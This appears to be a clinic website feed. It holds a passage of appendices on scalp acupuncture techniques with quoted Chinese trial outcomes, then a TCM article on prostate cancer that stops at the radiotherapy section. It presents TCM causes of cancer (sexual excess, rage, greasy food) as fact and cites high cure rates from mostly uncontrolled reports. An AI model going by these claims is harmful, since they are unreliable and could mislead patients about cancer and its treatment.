Use the thrusting technique (jinqi) in most cases, as this will tonify the deficiency.  The manipulation should be carried out until the patient notices a change in their condition.  When treating the arm or leg scalp zones, have the patient attempt movement of the body part while the needle is manipulated.  For bladder disorders, have the patient breathe deeply (to the lower abdomen, Dan Tian), which should focus attention on the area being treated and help to produce a warming sensation.  When treating Eding 1 (for the eyes), have the patient gently rub their palms over the eyes. 

If an effect is not noted (clarifying of vision, change in sensation or strength in affected limbs) within about 3 minutes of manipulation time, check that the needling location and needle placement are correct; if correct, it may be necessary to try the lifting method (chouqi) instead, especially if there is pain. It may also be valuable to treat body points, such as ST-36 and GB-34 for the legs and LI-4 and LI-11 for the arms.  Once a response is noted, the needle manipulation can be ceased.  Patients with leg weakness should attempt to walk for a few minutes.  After about 15 minutes (from the previous manipulation), the needles should be manipulated again.  At the end of the third manipulation, the patient will be instructed to retain the needles for a period of several hours, up to two days, and then remove the needles themselves or with the aid of someone who can assist them.  The needles used for body acupuncture are removed at the end of the in-clinic treatment session.

Appendix 4: Treatment Method at Acuherb Clinic

Ken Y. Wang, Ph.D., L.Ac., O.M.D., Scientist in Oncology,  has been using scalp acupuncture for several years and currently practices at the American Institute of Acupuncture, Acuherb Clinic inHouston,Texas.  He described his basic treatment techniques as follows, indicating that there are a number of other procedures that he may utilize to complete the treatment:

Treatment Course.  On the first day, the patient is treated in the morning and in the evening; for the next nine days, the patient is treated once daily.  Then, treatment continues at the rate of three times per week until the condition has resolved or the patient has reached what appears to be the maximum level of improvement.

Point Selection.  The motor, sensory, balance, vision, and speech areas are utilized as appropriate.  For unilateral paralysis, use the contralateral side, but use bilateral treatment of the zones for bilateral paralysis.  In cases of generalized brain damage (as occurs with anoxic brain damage), Zhu’s Eding zone is used predominantly, along with GV-24 and UB-3 bilaterally.  If the patient’s scalp becomes sensitive to needling, as might occur with frequent needling of the same zone, it is helpful to alternate (from one treatment to the next) between the motor and sensory points and the Eding zone.

Needling Procedure.  Needles are inserted one cun obliquely into the subaproneurotic space.  Needles point downwards and are angled off towards the affected limb.  It is stimulated by small-amplitude, lift and thrust technique at rapid frequency (200 times per minute if possible).  Body needles are also inserted, using standard procedures.  Both the scalp and body acupuncture needles are retained for 20–30 minutes and stimulated every 2–3 minutes during this time. 

Neuromuscular Re-education.  Immediately after the basic needle treatment, the body needles are removed, but the scalp needles are retained.  The patient is taken through a series of exercises while the scalp needles are being stimulated simultaneously.  If the patient is comatose or otherwise unable to perform these, the practitioner (or assistant) performs the otherwise passive motions for the patient.  The patient, all the while, is encouraged to try to think about doing the exercises, to visualize it, to visually watch the movements (if possible).  Verbal encouragement is even given to those who are comatose.  As soon (in the treatment course) as the patient is able to perform the movements, they are encouraged to do so, even if the movement is slight.  Electrostimulation may be utilized (frequency is 200/minute) in place of manual stimulation.  As they become stronger, the practitioner adds resistance to each exercise (weights can be added), thus requiring the patient to apply greater strength (and, in some cases, more muscle groups) to the task.  The effort put forth by the patient is of utmost importance. 

For Comatose Patients.  Needle PC-8 and KI-1 bilaterally plus GV-26.  The needles should be stimulated strongly (manual) for 10 minutes.  Then add PC-6 and SP-6 with strong stimulation before proceeding to needle the rest of the body and scalp.

 

APPENDIX 5:  Commentaries and Clinical Observations from the Chinese Literature

1.  About needling techniques and duration.

For peripheral facial paralysis, Cui Yunmeng  suggests using a .38 mm needle and a 75 mm length.  The needle is twirled at a speed of 200 times per minute.  Needles are retained for 20–30 minutes, being twirled twice.  Needling is done in the facial motor area of the scalp, on the same side as the affected part.

For treatment of hemiplegia, Wang, et al., give extensive details regarding point selection (a combination of scalp and body points).  Acupuncture is given once daily for 40 minutes, with 10 days as one treatment course, and a rest of 3 days between courses.  After insertion, the needle is twisted for 5 minutes at a speed tolerable to the patient who is advised to exercise the limbs as best he can.  Electric acupuncture is then used at a frequency of 150–200 pulses/minute for the head points and 100 pulses/minute for the body points.

Lu Shoukang says that: “In scalp acupuncture there are many types of manipulation.  The common one is the rapid needle-twirling method, that is, after being inserted to the lower layer of the galea aponeurotica, the needle is tightly held by the thumb and index fingers, and rapidly twirled for about 200 times per minute.  This manipulation requires a high frequency and continuous movement and lasts 2–3 minutes each time.  Within half an hour, the manipulation should be done 2–3 times.  Owing to the fact that by this method the needle often twines the muscular fibers and causes pains, it is not well accepted by the patient.  Furthermore, the metacarpophalangeal joint of the operator fatigues easily.  For this, the finger twirling is replaced by electric twirling, in which the patient is given pulse electric stimulations with dense and loose waves and a current intensity tolerable by the patient.”

For the treatment of post-stroke syndrome, Pang Hong reports the following method, based on the teachings of K.Y. Chen: “Scalp acupoints were needled with the reinforcing or the reducing method as indicated.  For reinforcement, the filiform needle was inserted at an angle of 15–30 degrees to the scalp, slowly and forcefully to beneath the aponeurosis.  Pressure was applied to the point for one minute, and the needle was quickly withdrawn after a retention of 10 minutes.  For reduction, the manipulations were similar, except that after 10 minutes of retention the needle was withdrawn slowly, when the skin formed a mount around the retreating needle.  For either reinforcement or reduction, the needling took 15 minutes, including the 10 minute period of needle retention.  Courses of treatment were 10 daily sessions, with efficacy appraised after three courses.”  He went on to comment that: “For the promotion of myodynamia and motile functions, the method of slow-rapid reinforcing-reducing was significantly better than the method of flat twisting.  The application of reinforcing and reducing manipulations would shorten the therapeutic course, promote the therapeutic efficacy, and decrease the rate of disability.  The method of slow-rapid reinforcing-reducing in scalp acupuncture had the advantages of causing less pain and inducing proper occurrence of the needling sensation; therefore, it was well received by the patients.” With regard to the selection of points, Pang Hong claims that: “For the treatment of apoplexy, the selection of acupoints on either the healthy or the affected side makes no difference in therapeutic efficacy.”  In his clinical work, he treated both sides, alternating sides from one session to the next. 

In a teaching round on apoplexy , Professor Guo describes his technique for scalp acupuncture: “Size 28 needles are commonly used, usually of the length of 2 cm.  First, locate the upper point of the motor area, and with the left hand fixed on it, insert the needle obliquely towards the lower point at an angle of 15 degrees with the skin surface.  Holding the needle with the right first three fingers, insert the needle quickly until it reaches the loose cellular tissue beneath the scalp.  Then turn the needle horizontally with respect to the skin surface, and push it to a depth of about 1.5 cm.  Twist and rotate the needle but never lift and thrust it.  Hold the needle between the medial surface of the terminal part of the right index finger and the palmar surface of the terminal part of the right thumb.  With repeated extensions and flexions of the interphalangeal joint of the index finger, one rotates the needle in one direction till it turns two rounds and then in the other direction for another two rounds.  One may rotate this way 200 times for one minute, repeat rotating 5–10 minutes later, and retain the needle till 30 minutes after the insertion (including the time of rotating).  With rotating of the head of the needle, the patient usually reports the feeling of local heat, numbness, and tics.  There may sometimes be radiation of such feelings to contralateral and homolateral limbs.  In general, therapeutic effects are achieved with mere appearance of local needling feeling; nevertheless, still better results will be had if the feelings radiate to the limbs.  You may produce all the needling feelings with electrical stimulation.  To do this, one inserts a 1 cun needle into the upper point of the motor area and pushes it horizontally towards the lower point, and then insert a 1.5 cun needle at the division point between the upper 1/5 and middle 2/5 [of the motor area].  With these needles connected to corresponding electrodes in the electroacupuncture apparatus, one then passes electricity, often in a frequency of 3/sec [180/minute] with a tolerable intensity for 20 minutes.”

Qu Hong and his colleagues described their scalp acupuncture technique for treating pseudobulbar paralysis as follows: “A filiform needle was rapidly inserted for a depth of 1–1.5 cun in the direction of the motor/sensory area, followed by rapid twistings for 0.5–1 minute until the appearance of the needling sensation.  The needle was retained for 40 minutes, with small amplitude twistings for another 0.5–1 minute before withdrawal….Practice has shown that needling on the motor and sensory areas simultaneously, and on the affected side and the healthy side simultaneously produces better curative effects.  In light of the experience of Professor Shi Xuemin, the authors adopted deeper insertion of the needles both on the scalp and on the body. Retention of the needles enhanced vasodilation of the cerebral vessels to increase cerebral circulation more than simple twistings of the needles for the recovery of nervous functions.  The authors therefore lengthened the needle retention to 40 minutes.”

Liu Chunhui and Wang Ying reported on their experience of treating acute apoplexy during a medical visit toYemen.  For scalp acupuncture, they reported that: “The needles were twirled once every 10 minutes at a rate of 200 times per minute, followed by retaining them for 30 minutes.  The patients were asked to exercise the limb during the needle manipulation.”  The manipulation was applied every 10 minutes and acupuncture (body plus scalp) was administered each morning and afternoon for a treatment course of 12 days, with an interval of 3 days between courses (using 1–6 courses).

Wu Chengxun reported on using three techniques of needle manipulation.  Manual twirling was done with a frequency of 200–500 times per minute and the twirling was performed every 3–5 minutes; a needle twirling machine was applied at a frequency of 300 times per minute and applied in the same fashion; an electroacupuncture device was used with a frequency of 500–700 waves per minute, with continuous stimulation for 10 minutes.  After the stimulations were applied, needles were retained for several minutes so that the total duration of needling was 25 minutes.  The treatment was performed daily for 12 days, and then a rest period of five to seven days was allowed before resuming another course of 12 days treatment.  With a total of 1228 cases of hemiplegia so treated, it was determined that there was no significant difference in the outcome for the three methods of stimulation.

Ji Nan and colleagues used scalp and body acupuncture to treat sequelae of stroke and cerebral injury, claiming improvement in all but 3 of 128 patients, with treatments deemed markedly effective in 42.8% of the total group.  Needles were inserted, as appropriate to the condition being treated, into zones designated motor area, sensory area, vasomotor area, and speech zones I, II, and III.  For paralysis, they used the method of treating the side opposite the affected limb.  The scalp needles were connected to a therapeutic instrument which delivered “sparse and dense waves” over an interval of twenty minutes for each session.  For each session 1 or 2 scalp areas and 2–4 body points (such as ST-36, LI-10, LI-11, LI-15, GB-34, or SI-9, getting qi and then allowing 20 minutes retention) were treated.  Sessions were once daily for 10 days as a course of treatment, applying 2 courses as the standard.

Zhang Naizheng described treatment of tremor artuum in 35 individuals using a combination of body points and scalp acupuncture.  Regarding the latter, he stated: “The dancing tremor controlling region was chosen; needling was done once per day, 10 days for a course of treatment, with an interval of four days between courses, lasting 4 courses.  Using a 26 or 28 gauge, 5 cm long needle, the squeeze-holding method was used for insertion; the angle of insertion was 30 degrees, and the needle was rapidly twirled with a small scope of movement, about 200 times per minute for 2 minutes, and then retained without twirling for 5 minutes; this procedure was repeated three times and then the needle was removed.”

Zhang Mingju reported on treatment of 296 cases of hallucinations using scalp acupuncture.  The method used was point-through-point needling, with the needles inserted at an angle of about 15 degrees with the scalp and running from GV-19 to GV-20 (the Dingzhen 1, which affects the head); auxiliary treatment locations were needled by similar method, starting at the selected point and then needling through to the next point (examples: GB-17 to GB-16; TB-19 to TB-17).  Needles were twirled and agitated for 1–3 minutes.  When the needling sensation is felt is the best time to channel qi to the locality of the disease.  Needles were retained for 1–3 hours.  Acupuncture was performed daily, and 10 sessions constituted on therapeutic course.  After the first course, acupuncture was performed every other day, with 10 sessions constituting the second therapeutic course.  If still necessary, acupuncture was performed twice weekly, with 10 sessions constituting the third therapeutic course.  By this method, 71% were cured and 19% markedly improved.

Zhang Hong reported on treatment of 76 cases of senile urinary incontinence.  Body and scalp acupuncture was used, with scalp points picked in the leg motor and sensory area (1 cm lateral to GV-20, corresponds to Eding 4) and reproduction area (Epang 2).  Electrical stimulation was adopted, with a frequency of about 200 pulses per minute, with the intensity limited to the patient’s tolerance. Needles were retained for 30 minutes.  Treatment was given 5 times per week, with 10 treatments constituting one course, with an interval of one week between courses.  After 1–2 courses, half the cases were cured, and 20 others markedly improved.

2.  About needling pain and needle sensation

Lu Shoukang observes: “In scalp acupuncture, the needle is usually inserted by the penetration needling along the skin.  Since the scalp is rich in nerves and blood vessels and is more painful than the limb when punctured, the needle insertion should be rapid and kept away from the hair follicles and the tip of the needle should be sharp.  After insertion, the needle body should be rapidly pushed to the lower layer of the galea aponeurotica that is the loose connective tissue to allow the needle to be manipulated freely to cause less pains.  In order to strengthen the stimulative sensations, the point-through-point method is used, that is, the needle penetrates several points at the same time.  Sometimes the method of two needles punctured to each other is used.  For instance, one needle is punctured from qianding [GV-21] tobaihui [GV-20] while the other needle from baihui to qianding, both along the midline of the vertex.”

Chen Zaiwen and Chen Ling described treatment of enuresis in children with scalp acupuncture.  It was mentioned that: “For scalp acupuncture, the selection of acupoints needs to be accurate and the manipulation mild to avoid unnecessary pain which might dispose the child unfavorably to acceptance of the treatment.  The author’s choice was a 30–32 gauge filiform needle, 1.5 cun in length.  It was desirable to insert the needle rapidly through the skin in a vertical direction and then the needle was bent to an angle of 30 degrees to the skin to be pushed forward, preferably under the epicranial aponeurosis.  A stronger stimulation often brought about better curative effects.”  Although the authors reported good clinic effect of scalp acupuncture for enuresis, it was said that: “Owing to the needling pain, only 59 cases [out of more than 100] were willing to accept the treatment for a complete course [10 to 15 sessions, undertaken either every day or every other day] or longer.”

3.  About the effectiveness of scalp acupuncture in clinical practice

In a general review of acupuncture therapy, it was said that: “Clinical reports of 2,917 cases of hemiplegia treated in 34 units [clinics] reveal an effective rate of 94.5%, with 58.9% markedly improved….Observation of the graphic [EEG] changes of amplitude, decrease of frequency, decrease of the angle of the main peak, deepening of the valley of the wave indicate that scalp needling dilates blood vessels, improves vascular elasticity, reinforces cardiac contraction, and increases cerebral blood flow.”

A problem with claimed effectiveness rates for scalp acupuncture is that there is rarely a control group (or one that is well-matched) to help sort out improvements that might occur spontaneously or due to other therapeutic measures (such as ordinary physical therapy) that might be undertaken.  However, there may be some benefit to examining the disorders that have been treated by this method and the extent of improvements, whatever the cause, that were noted during the treatment period.

In the article by Chen and Chen regarding enuresis treatment, effectiveness was moderate (only 9 out of 59 were cured), but it was said that: “It seemed to be a general rule that older children were apt to have better curative results; treatment in the afternoon seemed to be better than in the morning, and a longer time of needle retention was better than short time needle retention….A stronger stimulation often brought about better curative effects.”

In an article on scalp acupuncture for hemiplegia, Wang and his colleagues reported that of 110 cases, 29 were essentially cured, with mobility of limbs recovered.  They state that: “Analysis of the 110 cases showed that the location, number and extent of the cerebral lesions correlated closely with the therapeutic effects, and early institution of the acupuncture treatment led to better results….Among 29 cases that were essentially cured, most involved lesions in the external capsule or cerebral lobes, with some single lesions in the internal capsule or brain stem.  However, the 5 ineffective cases had mostly multiple lesions in the basal ganglia, the brain stem, and cerebral ventricles.” 

In an article by Cui Yunmeng, scalp acupuncture for facial paralysis was described.  It was reported that 71 out of 100 cases were cured, using 5–40 treatment sessions, given once daily.

In a report on pseudobulbar paralysis, Qu Hong, Ren Liping, and Guo Yi describe their results of combining scalp acupuncture and body acupuncture: “The treatment was effective in all 28 cases.  19 cases (68%) were cured and 9 cases (32%) were markedly effective.  The shortest course of treatment was 4 sessions and the longest 4 courses [40 sessions]….The patients in this series were all difficult cases of pseudobulbar paralysis refractory to western and Chinese drugs.  The good therapeutic effects indicated the superiority of this modality.”

A study by Wan Zhijie and colleagues on the mechanism of action of scalp acupuncture indicates that cholinesterase is inhibited and, at the same time, muscle force of the extremities is increased. Further, microcirculation is notably enhanced.  In treating hemiplegia, a single treatment (about 25 minutes, including insertion, three sessions of 3-minute twirling with two 5-minutes breaks, and withdrawal of the needles) muscle strength in upper and lower extremities improved by about 20%, whole blood cholinesterase was reduced by about 15%, and speed of blood flow through nail bed capillaries increased by over 30%.  These changes slowly reverted after treatment to reach pretreatment values after 24 hours, confirming the need for daily scalp acupuncture therapy.

Two reports on aphasia (inability to speak) were presented in the Shanghai Journal of Acupuncture and Moxibustion.  In one report, from the GuangdongProvincialHospital, 72 cases of stroke-caused aphasia were treated and evaluated.  The zones selected were from the “speaking zones” (from a different set of zones than used in Zhu’s scalp acupuncture).  After applying the needles and getting the qi reaction, the needles were hooked up to an electroacupuncture device and stimulated for 20 minutes (once per day).  In addition, body acupuncture was applied (mainly GB-20 on one day and GV-16 on the alternate day, with some non-standard, “extra points”).  Those needles were stimulated for about 20 seconds and then retained for 30 minutes (once per day).  After 30 days of treatment, 46% of the patients showed marked improvement, and another 50% showed some improvement.  In the other report, from the Central Hospital of Shantou City (also in Guangdong), aphasia in nine children ages 16 months to 14 years was treated.  The causes were numerous, including viral encephalitis and meningitis.  The speaking zone was treated as the main therapy, and as an adjunct a treatment comprised of needling GV-20, GV-24 and the four points of Sishencong (Extra-6) were treated.  Three needles were used in the speaking zone, they were twirled rapidly for two minutes, then connected to an electroacupuncture device and stimulated for 30 minutes (at 14 Hz).  Treatment lasted from 4–21 days.  Of the 9 patients treated, 4 were reported recovered and 2 improved.

According to the content of these reports, compared to Zhu’s techniques there is shorter duration of individual treatments, reliance on electroacupuncture as stimulation, and no mentioned focus on patient breathing or movements during treatment (e.g., for aphasia, Dr. Zhu needles Eding zone #1 and has the person try to count from 1 to 10, say their address, sing, etc., to use both voice and memory).

4. About the mechanism of action for stroke

In a study of scalp acupuncture applied immediately following a stroke, it was reported that both thromboxane B2 (TXB2) and 6-ketone prostaglandin F10 (6KP) levels in the blood plasma were affected.  These biochemicals are the stable metabolites of substances involved in platelet clumping: thromboxane A2, which induces clumping of platelets and contraction of arteries, and prostaglandin I2, which inhibits platelet clumping and inhibits formation of arterial atheromas (by reducing cell proliferation).

The physicians treated 20 patients who had suffered a stroke within the prior 10 days.  For scalp acupuncture, the major areas selected were the “motion” zone and the “diastole-systole” zone.  Body points were also needled; alternating from one day to the next between treatment of yang meridians (points would be selected from LI-15, LI-11, LI-4, TB-5, GB-30, GB-34, GB-39, or UB-60) and treatment of the yin meridians (points would be selected from HT-1, LU-5 PC-6, SI-13, SP-6, or LV-3).  The scalp needles were strongly stimulated with twirling at 200 times per minute for 2–3 minutes, and followed by the lifting maneuver to get the full qi reaction.  Body points were stimulated less, but it was important to get a qi reaction.  Needle retention was for 30 minutes, with electrostimulation used after getting the qi reaction.  Treatment was carried out for 6 consecutive days, followed by a 1 day rest, as one course of treatment, for a total of 4 courses (one month).  Drugs that might affect thromboxane or prostaglandin levels were discontinued prior to the study. 

It was shown that stroke patients had higher plasma TXB2 levels and lower plasma 6KP levels than healthy persons.  After performing acupuncture on the stroke patients, the TXB2 levels declined and the 6KP levels rose.  The changes were statistically significant, though the parameters did not reach the levels of healthy patients.  The improvements in TXB-6KP levels were interpreted as a biochemical manifestation of harmonizing yin and yang.  The authors thought that the effect of acupuncture was mediated by the cerebral cortex and the nervous humoral system.

]]> Prostate Cancer http://acuherb.us/prostate-cancer/ Tue, 03 Apr 2012 01:53:34 +0000 http://acuherb.us/?p=1465

By Dr. Ken Y Wang

Prostate cancer is one of the most common cancers affecting men, especially elderly men in their sixties, seventies and eighties. It has been suggested that if every man lives long enough, he will eventually develop prostate cancer. In western countries, it is the cancer most frequently found in men after skin cancer. The disease is less common among Asian men, though rates in Asian populations are rising; something thought to be due to the increased levels of red meat and animal fat in Asian diets. 

The prostate is a walnut shaped gland that wraps itself around the urinary outlet tube, the urethra, just under the bladder and in front of the rectum in human males. Females do not have this organ or any equivalent organ. The prostate produces a protein-rich fluid that nourishes and supports the sperm produced by the testicles. The sperm and prostatic fluid together form the semen ejaculated by males during orgasm.

As men age, the prostate enlarges, a condition known as benign prostatic hypertrophy, and symptoms caused by pressure on the bladder and the urethra develop. These include more frequent urination, a difficulty starting urination, pain on urinating and difficulty passing urine. In some cases, when the prostate enlarges the cells undergo a cancerous change. In many men, this happens so slowly they never know they have cancer. Some cases have been diagnosed as an “incidental finding” during the post-mortems done on men who have died from other causes. But in others, the cancerous change can be rapid and the prostate cancer can spread beyond the prostate into other organs, usually the bones of the pelvis and spine, before the man has symptoms. There is new evidence that a particular tumour gene, known as P53 indicates whether the man has a tumour likely to spread rapidly or grow slowly. If P53 is present in the tumour, it is usually a much more aggressive and dangerous cancer.

The incidence of prostate cancer is low in China, but has risen significantly in recent years. This is thought to be due to lifestyle changes such as eating increased levels of red meat and animal fat. The current western thinking about prostate cancer did not exist in ancient China. Instead, prostate cancer would have been described according to its symptoms of “strangury”, “retention of urine” (inability to urinate) and “haematuria” (blood in urine). In Traditional Chinese Medicine (TCM) like western medicine, “strangury” means dribbling urination and frequent urination with prickling pain or pain radiating to the lower abdomen. This symptom can also be present in other health conditions such as certain types of venereal disease, benign prostatic hypertrophy, and some bladder diseases. “Retention of urine” occurs when the prostate enlarges, as is often the case with prostate cancer, and blocks the bladder’s outflow. 

The TCM perspective of how fluid is processed and urine is made is important in the development of prostate cancer:
Because there is no historical understanding of the prostate organ in Traditional Chinese Medicine, the organs that control urine production and excretion play a crucial part in the treatment of prostate cancer. The lung, spleen and kidney all have roles in fluid metabolism and in regulating its distribution. The upper, middle and lower burners act together as the distribution pathway for body fluids. All body fluids will gather finally in the kidney, where they will be separated into fluid that can be reused by the body or “turbid’ water that cannot. The “turbid” water is then sent to the bladder for excretion as urine. TCM describes this fluid regulation and the excretion function as “vaporization“. The bladder, as in western medicine, is responsible for storing and excreting urine. Disharmony of the bladder can lead to urinary problems such as incontinence or difficultly urinating. Kidney function complements bladder function so a problem with the bladder often indicates kidney problems as well. The kidney organ, in TCM, is additionally responsible for sexual function.

 


Understanding how urine is formed from a TCM perspective

 

Causes

TCM believes health is achieved when yin and yang are in harmony. The body’s physical form belongs to yin while the body’s activities or functions belong to yang. Because both the body’s physical form and functions are dynamically balanced, they mutually restrict and depend on one another. Hence, in TCM disease results from either a deficiency of vital energy (qi) (diagnosed as a deficiency of yin fluid or a deficiency of yang qi) or an excess of the “pernicious evils” (excess of yin evils or yang evils). Pernicious evils are factors outside the body that cause disease. The conflict between resuming vital energy and getting rid of the “pernicious evils” is what allows the disease to either progress or transform back to a healthy state.

According to TCM theory, prostate cancer is caused by heat, stasis or deficiencyproblems. Heat is considered a pernicious evil. (See above for definition.) Stasis or deficiency problems, which are described below in more detail, stem from a deficiency of vital energy (qi).

Heat:

The concept of heat includes two types: “damp-heat evil” and “hyperactivity of excessive ministerial fire.” Damp heat evil occurs when there is an over consumption of greasy foods and alcohol. This leads to a malfunction of the stomach and spleen and causes a build up of damp heat that flows downwards, attacks the bladder and impairs the vaporization function responsible for fluid regulation. (See definition section.) Symptoms like dribbling urine, frequent urination with or without prickling pain and periodic retention of urine can develop when this happens.

Ministerial fire is the source of heat power in the human body. In TCM, it is believed that when a man is overly sexually active, the kidney essence is consumed and the internal ministerial fire becomes excited. The excessive ministerial fire is a kind of “evil fire” which makes the body produce heat. This “evil fire” affects the lungs, bladder and triple burner and impairs the passage of body fluids. As a result, symptoms of urinary frequency and dribbling urine with prickling pain may occur. 

Stasis: 

Stasis occurs when a particular substance cannot flow smoothly. In TCM, stasis happens when there is stagnation of qi or blood flow. The kidneys play an important part in the vaporization of body fluids. In this process, fluids are separated by the kidneys to ones that can be reused by the body or into “turbid water” which is eventually excreted as urine. When the emotion rage impairs liver function, the surrounding vital energy or qi stagnates and cannot flow properly, eventually transforming into an “evil-fire.” As the “evil fire” accumulates in the lower burner, the vaporization process is affected and so is normal urination.

Qi is the commander and controller of the body’s blood. Once qi flow stagnates, blood circulation will not be smooth, and this can lead to difficulty urinating and to bloody urine (haematuria). 

Deficiency: 

Deficiency problems refer mainly to kidney failure, which results from the damage done by the above mentioned causes of heat and stasis. In summary, sexual excess and improper diet both lead to an accumulation of damp heat and ministerial fire, which contribute to qi stagnation and blood stasis. These, in turn, eventually exhaust kidney –yin, which is the foundation supplying fluid to the entire body for moistening and nourishing purposes. Once kidney yin is completely exhausted, kidney failure will ensue. 

Other Causes of Prostate Cancer:
Other factors associated with the development of prostate cancer are still under further investigation.
These include: 

high levels of male hormones
excessive sexual activity
gonorrhea
other causes of urinary tract infections
A chronic intake of greasy food leading to a disorder in hormone metabolism.

Symptoms

Modern TCM practitioners mostly follow western theories when assessing prostate cancer symptoms. Initially there may be no symptoms present at all. When the prostate cancer enlarges to a level where it blocks urinary outflow, dribbling urination, frequent urination with prickling pain or pain radiating to the lower abdomen (strangury) and urine retention are commonly seen. Haematuria (blood in the urine) usually appears at a later stage of disease involvement. 

The presence of damp heat in the body or overstrain strangury can cause thirst with a lack of desire to drink, constipation, burning and stabbing pain during urination, or dribbling urine. Overstrain strangury means the body is overworking and makes the strangury symptoms more severe. 

Stagnation of qi flow and blood stasis are usually present when urine retention occurs. (See causes section.) Symptoms related to these conditions include lower abdominal distension, localized pain, difficultly urinating or inability to urinate. 

Haematuria can be a manifestation of hyperactive and excessive ministerial fire. Related symptoms arising from excessive ministerial fire include face blushing, excessive thirst, feeling annoyed or distracted, insomnia, urinary hesitancy and pain on urination. 

Other signs that may be present with prostate cancer:

The tongue signs: 

Individuals with damp heat usually have a red tongue with yellow and greasy fur. Those with blood stasis have a dark tongue with pinpoint bruises, and those who suffer from exhausted kidney yin have a red or deep red tongue without fur. 

The pulse signs:

A rolling and rapid pulse is present in people with damp heat problems. Individuals with blood stasis often have a hesitant pulse, and those with kidney–yin exhaustion have a soft, thready and weak pulse. 

Prostate cancer is famous for being silent: that is, causing no symptoms able to warn of its presence. Many are diagnosed during a routine physical examination or after a screening blood test known as a Prostate Specific Antigen (PSA) has been done. When symptoms do appear, they are usually similar to those caused by enlargement of the prostate (benign prostatic hypertrophy-described in the definition section). 

These include:

Increased urinary frequency, especially at night
Difficulty starting urination
Difficulty passing urine
Pain on passing urine

Symptoms more suggestive of prostate cancer include:

Blood in the urine
Pain in the pelvis and spine
Weight loss
Night sweats
Severe tiredness

Diagnosis

Diagnosis of prostate cancer mainly depends on western methodologies because the concept of a prostate organ did not exist originally in Traditional Chinese Medicine. Examination of a man’s prostate organ through the rectum is usually done during routine physical check ups to detect its size and texture. Ultrasound and CT (computed tomography) scans are very helpful for diagnosis and locating areas to which the disease may have spread. Other measures include looking for cancer cells in prostatic fluid or from a fine needle biopsy of the prostate. Recently prostate specific antigen (PSA) blood tests have been used to screen for early prostate cancer in older men, usually those over fifty. 

Prostate cancer can only be differentiated from benign prostatic hypertrophy by using modern medical investigations. Benign prostatic hypertrophy occurs when the prostate gland enlarges and puts pressure on the bladder and urethra (the urinary outflow tract from the bladder). In TCM and western medicine, there are no big differences between prostate cancer and benign prostatic hypertrophy symptoms. Likewise, the TCM tongue and pulse signs are similar for both conditions. However, benign prostatic hypertrophy, while able to cause significant discomfort and put dangerous backpressure on the kidney, is not a form of cancer and does not metastasize (spread to other parts of the body).

In TCM, the diagnosis is not prostate cancer per se but rather a classification of its symptoms into five different syndromes, which are outlined below. The general progression of prostate cancer from a TCM perspective goes from damp-heat flowing downward in the body to stagnation of qi and blood stasis to hyperactivity of heart-fire and hyperactivity of excessive ministerial fire, finally leading to kidney failure.

Diagnosis is based on four important examination techniques. The first is “questioning.” The TCM practitioner will want to know important information such as what your current complaints are, your past medical history and family health history. The second technique is “observation.” Looking at the physical features of the body such as the face, tongue, hair, nails, sputum and area of pain all give clues as to what the problem may be. The third technique is “hearing and smelling.” Smelling the sputum and breath and listening to the sounds coming from the chest are important. The last technique used in examination is “touching.” Feeling the pulse is a cornerstone of TCM diagnosis and gives the TCM practitioner a lot of information about imbalance in the body. If the TCM practitioner suspects there might be a serious problem that Chinese medicine alone cannot treat he or she may recommend that the individual see a western doctor for further follow up.

Features of the TCM syndromes associated with prostate cancer are: 

Damp-heat 
Damp-heat is heavy and likes to flow downward and accumulate in the lower burner (bladder, large intestine) region, which results in frequent, difficult and/ or urgent urination. The tongue appears red with a yellow and greasy covering, and the pulse is rolling and rapid with this syndrome. 

Kidney-Yin Exhaustion
Under normal conditions, kidney–yin & kidney–yang restrict, promote, and depend on each other in order to maintain a dynamic balance of yin & yang. This means the kidneys are kept in a constant state of functioning where they are not over or under functioning. When kidney–yin becomes exhausted and cannot perform its usual functions, kidney yang cannot be kept in check and the body experiences virtual heat symptoms. These symptoms manifest as urinary frequency and urgency, dry throat, restlessness, dry and hard stools, hot feelings in the palms, lower back, knee soreness and weakness of the lower extremities. The tongue appears red without a mossy covering, and the pulse feels thready and soft. 

Decline of Kidney-Yang
This type is seldom encountered but is very serious. Kidney-yang is the main source of energy for life’s activities. Therefore, if kidney–yang declines, the body will be unable to perform warming and promoting functions, causing a yang-deficiency in many other organs, which may lead to death. Individuals usually feel weak and fatigued. They have pale complexions, cold limbs, sore loins (waist area) and experience an aversion to cold temperatures. Urinary symptoms associated with this condition include urinary frequency, dribbling urination and a weak urine stream. The tongue appears pale with a thin fur layer, and the pulse feels deep and weak.

Stagnation of Qi 
When qi movement is sluggish, it causes improper fluid circulation. Symptoms related to improper fluid circulation include difficulty urinating, inability to urinate, emotional depression, irritability, quick temper and chest and abdominal distension. The pulse is stringy, and the tongue is red with a yellowish, thin fur. Those who also have blood stasis (poor blood flow) will have a dark tongue with pinpoint bruises and a hesitant pulse. 

Hyperactivity of Heart-fire
A kidney–yin deficiency can also affect the heart by disrupting its normal functions and creating a “heart fire evil” or heart-yang excess. When this happens, the blood vessels become damaged and the blood leaks out. Urinary symptoms related to this condition include haematuria (blood in the urine), prickling pain on urination and dark-colored urine. Other symptoms include insomnia, feeling annoyed and the presence of boils on the mouth and tongue. On examination, the tongue usually has a red tip, sometimes with a prickly appearance and a thin or yellowish fur coating. The pulse feels thready and rapid. 

If one suffers from hyperactivity of excessive ministerial fire, symptoms such as hyper-sexuality, a red tongue with a thin or yellowish fur and a rolling and rapid pulse will be present. (See causes section under heat for further explanation.)

Treatment

Surgery

If the cancer has been diagnosed early, is still within the prostate gland itself and is of a type considered unlikely to spread rapidly, surgical removal of the entire prostate, an operation known as a radical prostatectomy, may be considered. However, this operation has a high rate of complications, leaving up to up to sixty percent of men impotent and more than ten percent with incontinence (where they cannot control urine flow). This is because the nerves controlling these functions are very close to where the prostate sits under the bladder. The sphincter, a muscle that holds the bladder closed, is located just above the prostate and is also vulnerable to damage during surgery. In expert hands, that is, when done by a surgeon who does many of these procedures at a hospital where the operating theatre and nursing staff are very experienced in prostate surgery, the complication rates are much lower. Some surgeons in top American hospitals report incontinence in only two percent of their patients and impotence in ten percent. For this reason, choosing your surgeon very carefully once you have been diagnosed with operable prostate cancer is essential. It is worth getting several opinions and asking each surgeon for their post-surgery complication rates. If they will not give you this information, ask your usual medical adviser to help you find out who has the lowest complication rates. 

Radiotherapy

